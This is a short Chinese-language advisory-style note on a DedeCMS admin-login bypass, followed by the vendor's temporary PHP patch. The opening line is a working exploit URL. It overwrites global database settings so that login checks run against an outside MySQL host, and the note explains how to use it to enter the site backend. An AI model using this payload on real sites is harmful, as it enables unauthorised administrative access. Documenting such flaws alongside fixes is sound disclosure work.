http://www.XXXX.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root
把上面validate=dcug改为当前的验证码,即可直接进入网站后台
此漏洞的前提是必须得到后台路径才能实现
官方临时解决办法:
找到include/common.inc.php文件,把:
foreach($_REQUEST as $_k=>$_v)
{
var_dump($_k);
if( strlen($_k)>0 && preg_match(''#^(cfg_|GLOBALS)#'',$_k) )
{
exit(''Request var not allow!'');
}
}
换成:
//检查和注册外部提交的变量
function CheckRequest(&$val) {
if (is_array($val)) {
foreach ($val as $_k=>$_v) {
CheckRequest($_k);
CheckRequest($val[$_k]);
}
} else
{
if( strlen($val)>0 && preg_match(''#^(cfg_|GLOBALS)#'',$val) )
{
exit(''Request var not allow!'');
}
}
}
CheckRequest($_REQUEST);